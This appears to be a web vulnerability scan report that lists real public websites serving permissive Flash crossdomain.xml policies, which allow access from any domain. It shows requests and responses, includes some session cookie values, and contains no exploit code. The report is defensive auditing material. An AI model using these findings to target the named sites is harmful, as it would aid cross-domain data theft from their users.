7.80. http://www.like.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.like.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.like.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Wed, 13 Jan 2010 18:02:03 GMT
X-Like-Servetime: Servetime: D=603
Content-Type: application/xml
Vary: User-Agent
Date: Sat, 02 Apr 2011 13:55:28 GMT
Content-Length: 360
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.81. http://www.liveleak.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.liveleak.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.liveleak.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:41:09 GMT
Server: Apache
Last-Modified: Wed, 20 Aug 2008 11:50:42 GMT
ETag: "50284d-cd-48ac0512"
Accept-Ranges: bytes
Content-Length: 205
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

7.82. http://www.manualsonline.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.manualsonline.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.manualsonline.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:46:14 GMT
Server: Apache/2.2.14 (Fedora)
Last-Modified: Wed, 26 Jan 2011 14:52:42 GMT
ETag: "d746c4-ef-49ac0fc2c4280"
Accept-Ranges: bytes
Content-Length: 239
Connection: close
Content-Type: text/xml

<?xml version="1.0" ?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/>
<allow-access-from domain="*"/>
<allow-http-request-headers-from domain="*" heade
...[SNIP]...

7.83. http://www.mapquest.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mapquest.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.mapquest.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: t_Id=ZGVmYXVsdDpudWxs; Path=/
Set-Cookie: tsession="oMxvAHE6AVKXbBWonwSpcUH2bX4="; Version=1; Domain=mapquest.com; Max-Age=1800; Expires=Sat, 02-Apr-2011 13:07:31 GMT; Path=/
Set-Cookie: tsexpiry=1; Domain=mapquest.com; Expires=Sat, 02-Apr-2011 12:52:31 GMT; Path=/
Set-Cookie: psession="XYhsFEjJgX/0tbwu99Px6nQHTiA="; Version=1; Domain=mapquest.com; Max-Age=7776000; Expires=Fri, 01-Jul-2011 12:37:31 GMT; Path=/
Set-Cookie: c_Id=MjMzOjM5Mw%3D%3D; Expires=Sat, 02-Apr-2011 13:07:31 GMT; Path=/
Accept-Ranges: bytes
ETag: W/"209-1301684392000"
Last-Modified: Fri, 01 Apr 2011 18:59:52 GMT
Content-Type: application/xml
Content-Length: 209
Date: Sat, 02 Apr 2011 12:37:31 GMT
Connection: keep-alive

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" secure="false"/></cross-domain
...[SNIP]...

7.84. http://www.marthastewart.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.marthastewart.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.marthastewart.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Wed, 04 Mar 2009 21:36:48 GMT
ETag: "fcbe29-c0-d951fc00"
Accept-Ranges: bytes
Content-Length: 192
Content-Type: application/xml
Date: Sat, 02 Apr 2011 13:34:19 GMT
Connection: close

<cross-domain-policy>
   <site-control permitted-cross-domain-policies="all"/>
   <allow-access-from domain="*" />
   <allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

7.85. http://www.mate1.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mate1.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.mate1.net

Response

HTTP/1.0 200 OK
Date: Sat, 02 Apr 2011 13:56:37 GMT
Server: Apache
Set-Cookie: DATESESS=fbd31cc9c09d8951; domain=.mate1.com; path=/
P3P: policyref="http://www.mate1.com/p3p/p3p.xml", CP="NOI DSP LAW NID PSA ADM OUR IND NAV COM"
Cache-Control: max-age=0, private
Expires: Sat, 02 Apr 2011 13:56:37 GMT
Content-Length: 267
Content-Type: application/xml
X-Cache: MISS from crtv4.mate1.com
Via: 1.1 crtv4.mate1.com:80 (squid/2.7.STABLE7)
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" to-ports="*" />
...[SNIP]...

7.86. http://www.menshealth.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.menshealth.com

Response

HTTP/1.0 200 OK
Server: IBM_HTTP_Server
Last-Modified: Thu, 03 Jan 2008 12:17:58 GMT
ETag: "c9-62610980"
Content-Type: text/xml
Date: Sat, 02 Apr 2011 13:36:12 GMT
Content-Length: 201
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

7.87. http://www.metacafe.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.metacafe.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.metacafe.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 03 Mar 2011 16:22:13 GMT
ETag: "17f18a6-d0-49d966e98b740"
Accept-Ranges: bytes
Content-Length: 208
Content-Type: application/xml
Cache-Control: max-age=86400
Date: Sat, 02 Apr 2011 13:23:04 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain
...[SNIP]...

7.88. http://www.metrolyrics.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.metrolyrics.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.metrolyrics.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
ETag: "c4-4c72c0fe-0"
Last-Modified: Mon, 23 Aug 2010 18:42:06 GMT
Content-Type: application/xml
Content-Length: 196
Date: Sat, 02 Apr 2011 13:25:39 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>

7.89. http://www.minorleaguebaseball.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.minorleaguebaseball.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.minorleaguebaseball.com

Response

HTTP/1.0 200 OK
Server: Oracle-iPlanet-Web-Server/7.0
Date: Sat, 02 Apr 2011 13:37:49 GMT
Content-Type: text/xml
Content-Length: 80
Cache-Control: max-age=60
Edge-control: max-age=60
Last-Modified: Mon, 16 May 2005 18:12:09 GMT
ETag: "50-4288e279"
Accept-Ranges: bytes
Age: 47
X-Cache: HIT from cache.mlb.com
Via: 1.1 cache.mlb.com:8888 (squid/2.7.STABLE6)
Connection: keep-alive

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.90. http://www.mlb.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mlb.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.mlb.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Tue, 18 Jan 2011 20:14:01 GMT
Content-Length: 428
Accept-Ranges: bytes
Server: Oracle-iPlanet-Web-Server/7.0
Date: Sat, 02 Apr 2011 13:24:42 GMT
Cache-Control: max-age=60
Edge-control: max-age=60
ETag: "1ac-4d35f489"
Age: 25
X-Cache: HIT from cache.mlb.com
Via: 1.1 cache.mlb.com:8888 (squid/2.7.STABLE6)
Connection: keep-alive

<cross-domain-policy>
   <allow-access-from domain="*"/>
   <allow-access-from domain="*.mlb.com" secure="false" />
   <allow-http-request-headers-from domain="*.mlb.com" headers="*" secure="false"/>
   <site
...[SNIP]...

7.91. http://www.mmo-champion.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mmo-champion.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.mmo-champion.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Tue, 23 Nov 2010 22:26:07 GMT
Content-Length: 332
Date: Sat, 02 Apr 2011 13:46:14 GMT
Connection: close
X-Cache-Hits: -1
X-URL: /crossdomain.xml
X-Backend: phpservers2
X-Req: 455438597
X-Language: en

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-pol
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

7.92. http://www.mtv.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtv.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.mtv.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.63 (Unix) mod_jk/1.2.27
Last-Modified: Tue, 15 Apr 2008 20:18:17 GMT
ETag: "4b5484c-117-44aef19c7b440"
Accept-Ranges: bytes
Content-Length: 279
Content-Type: application/xml
Cache-Control: max-age=600
Date: Sat, 02 Apr 2011 12:43:43 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<al
...[SNIP]...

7.93. http://www.myrecipes.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.myrecipes.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.myrecipes.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:43:13 GMT
Server: Apache
Last-Modified: Tue, 05 Oct 2010 18:26:00 GMT
ETag: "b13f7-d9-491e2caecde00"
Accept-Ranges: bytes
Content-Length: 217
Content-Type: application/xml
Vary: X-Catmap-Header
P3P: CP='PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PRE CUR ADMa DEVa TAIo PSAo PSDo IVAo IVDo CONo TELo OTPi OUR UNRo PUBi O TRo IND DSP CAO COR'
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
</cros
...[SNIP]...

7.94. http://www.ncm.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ncm.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain, and allows access from specific other domains.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ncm.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Fri, 25 Mar 2011 13:00:36 GMT
Accept-Ranges: bytes
ETag: "072eca1eceacb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:35:56 GMT
Connection: close
Content-Length: 897

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="maste
...[SNIP]...
<allow-access-from domain="tst.ncmsocial.com"/>
<allow-access-from domain="localhost.ncmsocial.com"/>
<allow-access-from domain="dev.ncmsocial.com"/>
<allow-access-from domain="ncmsocial.com"/>
<allow-access-from domain="www.ncmsocial.com"/>
<allow-access-from domain="www.totaleclips.com"/>
<allow-access-from domain="totaleclips.com"/>
<allow-access-from domain="edgesuite.net"/>
<allow-access-from domain="progressive.totaleclips.com.edgesuite.net"/>
<allow-access-from domain="www.fathomevents.com"/>
<allow-access-from domain="www.movienightout.com"/>
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.95. http://www.newser.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.newser.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.newser.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Expires: Sun, 29 Mar 2020 00:00:00 GMT
Last-Modified: Sun, 01 Feb 2009 20:47:39 GMT
Accept-Ranges: bytes
Date: Sat, 02 Apr 2011 14:03:49 GMT
Connection: close
Content-Length: 324

...<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

7.96. http://www.newsok.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.newsok.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.newsok.com

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Last-Modified: Tue, 29 Jun 2010 19:32:53 GMT
ETag: "1bd06e-106-48a304daba340"
Accept-Ranges: bytes
Content-Type: text/xml
Connection: close
Date: Sat, 02 Apr 2011 12:52:35 GMT
Age: 556
Content-Length: 262

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="newsok..com" />
<allow-access-from domain="*.newsok..com" />
<allow-access-from domain="*" />
...[SNIP]...

7.97. http://www.nickjr.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nickjr.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.nickjr.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.63 (Unix) mod_jk/1.2.27
Content-Length: 864
Content-Type: text/xml
Set-Cookie: ak-mobile-detected=no; expires=Sat, 02-Apr-2011 19:31:20 GMT; path=/
ETag: W/"864-1301149306000"
Vary: User-Agent
Cache-Control: max-age=1200
Date: Sat, 02 Apr 2011 13:31:20 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-control permitted-cross-domain-polici
...[SNIP]...
<allow-access-from domain="*"/>
   <allow-access-from domain="*.doubleclick.net" />
   <allow-access-from domain="*.nickjr.com" />
   <allow-access-from domain="*.nickjr-d.mtvi.com" />
   <allow-access-from domain="*.nickjr-q.mtvi.com" />
   <allow-access-from domain="*.nick.com" />
   <allow-access-from domain="*.nick-d.mtvi.com" />
   <allow-access-from domain="*.nick-q.mtvi.com" />
   <allow-access-from domain="*.mtvi.com" />
   <allow-access-from domain="*.dimetapp.com" />
   <allow-access-from domain="*.mtvnservices.com"/>
   <allow-access-from domain="*.tween.as" />
...[SNIP]...

7.98. http://www.nola.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nola.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.nola.com

Response

HTTP/1.0 200 OK
Server: Apache
Content-Length: 324
Content-Type: text/xml
ETag: "71686e-144-47185a180bb40"
P3P: CP='CAO CURa ADMa DEVa TAIa PSAa PSDa CONi OUR DELi SAMo OTRo BUS IND PHY ONL UNI COM NAV INT DEM'
ntCoent-Length: 324
Cache-Control: max-age=1
Expires: Sat, 02 Apr 2011 13:37:08 GMT
Date: Sat, 02 Apr 2011 13:37:07 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-o
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.99. http://www.nydailynews.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nydailynews.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.nydailynews.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:23:38 GMT
Server: Apache
Last-Modified: Fri, 14 Sep 2007 15:01:08 GMT
Accept-Ranges: bytes
Content-Length: 200
Keep-Alive: timeout=3, max=999
Content-Type: application/xml
Content-Language: en
Age: 0
Via: AX-CACHE-2.4:20
Set-Cookie: sto-id-sg-web-8080=BOACAKAK; Expires=Sat, 02-Apr-2011 02:23:19 GMT; Path=/

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.100. http://www.oodle.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.oodle.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.oodle.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.7j DAV/2
Last-Modified: Wed, 12 Mar 2008 00:55:41 GMT
ETag: "11c80ff-ca-44832e564dd40"
Content-Type: application/xml
Date: Sat, 02 Apr 2011 13:36:37 GMT
Content-Length: 202
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...

7.101. http://www.openforum.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.openforum.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.openforum.com

Response

HTTP/1.0 200 OK
Content-Length: 390
Content-Type: text/xml
Last-Modified: Tue, 22 Mar 2011 14:34:04 GMT
Accept-Ranges: bytes
ETag: "1CBE89E31501600"
Server: Microsoft-IIS/6.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Cache-Control: public, max-age=65014
Expires: Sun, 03 Apr 2011 07:43:08 GMT
Date: Sat, 02 Apr 2011 13:39:34 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">

...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

7.102. http://www.opportunity.co/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.opportunity.co
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.opportunity.co

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:55:35 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 02 Feb 2011 03:06:57 GMT
ETag: "48c0006-c3-f11a7640"
Accept-Ranges: bytes
Content-Length: 195
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>

7.103. http://www.outdoorchannel.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.outdoorchannel.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.outdoorchannel.com

Response

HTTP/1.1 200 OK
Cache-Control: public
Content-Type: text/xml
Last-Modified: Fri, 27 Aug 2010 15:20:56 GMT
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 14:07:28 GMT
Set-Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.outdoorchannel.com&SiteLanguage=1033; path=/
Set-Cookie: EktGUID=8b192145-0a99-4adb-8be8-ad64d5a6e8cd; expires=Mon, 02-Apr-2012 14:07:28 GMT; path=/
Set-Cookie: EkAnalytics=newuser; expires=Mon, 02-Apr-2012 14:07:28 GMT; path=/
Content-Length: 208
Connection: close
Via: 1.1 AN-0016020121270012

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain
...[SNIP]...

7.104. http://www.pcworld.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcworld.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.pcworld.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"194-1297458026000"
Last-Modified: Fri, 11 Feb 2011 21:00:26 GMT
Content-Type: application/xml
Content-Length: 194
Date: Sat, 02 Apr 2011 14:10:44 GMT
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>

7.105. http://www.people.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.people.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.people.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 12:43:25 GMT
Server: Apache
Last-Modified: Fri, 24 Sep 2010 16:23:49 GMT
ETag: "373-cdb58f40"
Accept-Ranges: bytes
Content-Length: 883
Content-Type: application/xml
Vary: Accept-Encoding,X-Catmap-Header
P3P: CP='PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PRE CUR ADMa DEVa TAIo PSAo PSDo IVAo IVDo CONo TELo OTPi OUR UNRo PUBi OTRo IND DSP CAO COR'
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-access-from domain="img2.timeinc.net"/>
<allow-access-from domain="img2-short.timeinc.net"/>
<allow-access-from domain="*.aol.com"/>
<allow-access-from domain="*.digitalcity.com"/>
<allow-access-from domain="*.aolcdn.com"/>
<allow-access-from domain="*.channel.aol.com"/>
<allow-access-from domain="*.aimtoday.com"/>
<allow-access-from domain="*.aimtoday.aim.com"/>
<allow-access-from domain="*.dashboard.aim.com"/>
<allow-access-from domain="*.aim.com"/>
<allow-access-from domain="peopleconnection.aol.com"/>
<allow-access-from domain="*.peoplecmg.com"/>
<allow-access-from domain="*.myspacecdn.com"/>
<allow-access-from domain="*.taaz.com" secure="true"/>
...[SNIP]...

7.106. http://www.peoplestylewatch.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.peoplestylewatch.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.peoplestylewatch.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:56:32 GMT
Server: Apache
Last-Modified: Fri, 24 Sep 2010 16:23:49 GMT
ETag: "373-cdb58f40"
Accept-Ranges: bytes
Content-Length: 883
Content-Type: application/xml
Vary: Accept-Encoding,X-Catmap-Header
P3P: CP='PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PRE CUR ADMa DEVa TAIo PSAo PSDo IVAo IVDo CONo TELo OTPi OUR UNRo PUBi OTRo IND DSP CAO COR'
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-access-from domain="img2.timeinc.net"/>
<allow-access-from domain="img2-short.timeinc.net"/>
<allow-access-from domain="*.aol.com"/>
<allow-access-from domain="*.digitalcity.com"/>
<allow-access-from domain="*.aolcdn.com"/>
<allow-access-from domain="*.channel.aol.com"/>
<allow-access-from domain="*.aimtoday.com"/>
<allow-access-from domain="*.aimtoday.aim.com"/>
<allow-access-from domain="*.dashboard.aim.com"/>
<allow-access-from domain="*.aim.com"/>
<allow-access-from domain="peopleconnection.aol.com"/>
<allow-access-from domain="*.peoplecmg.com"/>
<allow-access-from domain="*.myspacecdn.com"/>
<allow-access-from domain="*.taaz.com" secure="true"/>
...[SNIP]...

7.107. http://www.pittsburghlive.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pittsburghlive.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.pittsburghlive.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:10:01 GMT
Server: Apache/2.2.3 (Red Hat) PHP/5.1.6
Last-Modified: Mon, 24 Jan 2011 21:35:59 GMT
Accept-Ranges: bytes
Content-Length: 455
Vary: Accept-Encoding,User-agent
Connection: close
Content-Type: text/xml

<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<site-control permitted-cross-domain-poli
...[SNIP]...
<allow-access-from domain="*" />
<allow-access-from domain="*.brightcove.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.abacast.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.pittsburghlive.com"/>
...[SNIP]...

7.108. http://www.playfin.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.playfin.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.playfin.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:06:52 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Thu, 17 Feb 2011 23:46:03 GMT
ETag: "1cf1115-c6-49c83001704c0"
Accept-Ranges: bytes
Content-Length: 198
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.109. http://www.pokerstars.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pokerstars.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.pokerstars.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:56:55 GMT
Server: Apache
Last-Modified: Tue, 25 Jan 2011 19:43:06 GMT
ETag: "5af-ece20680"
Accept-Ranges: bytes
Content-Length: 1455
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.pokerstarsblog.com"/>
<allow-access-from domain="*.pokerstars.com"/>
<allow-access-from domain="*.pokerstars.pl"/>
<allow-access-from domain="*.pokerstars.es"/>
<allow-access-from domain="*.pokerstars.fi"/>
<allow-access-from domain="*.pokerstars.hu"/>
<allow-access-from domain="*.pokerstars.nl"/>
<allow-access-from domain="*.pokerstars.se"/>
<allow-access-from domain="*.pokerstars.co.uk"/>
<allow-access-from domain="*.pokerstars.it"/>
<allow-access-from domain="*.pokerstars.si"/>
<allow-access-from domain="*.pokerstars.pt"/>
<allow-access-from domain="*.pokerstars.cz"/>
<allow-access-from domain="*.appt.com"/>
<allow-access-from domain="*.europeanpokertour.com"/>
<allow-access-from domain="*.wcoop.com"/>
<allow-access-from domain="*.pokerstars.tv"/>
<allow-access-from domain="*.joehachem.com"/>
<allow-access-from domain="*.chrismoneymaker.com"/>
<allow-access-from domain="*.greg-raymer.net"/>
<allow-access-from domain="*.andre-akkari.com"/>
